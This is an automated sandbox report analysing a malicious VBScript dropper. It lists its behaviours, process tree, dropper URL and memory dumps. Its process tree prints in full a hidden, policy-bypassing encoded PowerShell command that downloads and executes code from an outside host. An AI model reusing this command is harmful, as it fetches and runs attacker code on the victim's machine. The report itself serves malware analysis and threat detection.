Analysis
- max time kernel
136s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
22/02/2022, 12:16
General
- Target documentaz_801.vbs
- Size 3KB
- Sample220222-pff3cagfh2
- SHA256 a93e23b463cd782647a7ad565873a78b4e9c287503fcb4865bc38da97e754d2c
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://basesline.top/index.php
Signatures
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops file in Windows directory 6 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\documentaz_801.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBhAHMAZQBzAGwAaQBuAGUALgB0AG8AcAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2844-130-0x000001CDBABD0000-0x000001CDBABF2000-memory.dmp
memory/2844-131-0x00007FFC895A3000-0x00007FFC895A5000-memory.dmp
memory/2844-132-0x000001CDA0660000-0x000001CDA0662000-memory.dmp
memory/2844-133-0x000001CDA0663000-0x000001CDA0665000-memory.dmp
memory/2844-134-0x000001CDA0666000-0x000001CDA0668000-memory.dmp
memory/4072-135-0x000001F7D8930000-0x000001F7D8940000-memory.dmp
memory/4072-136-0x000001F7D8990000-0x000001F7D89A0000-memory.dmp
memory/4072-137-0x000001F7DB690000-0x000001F7DB694000-memory.dmp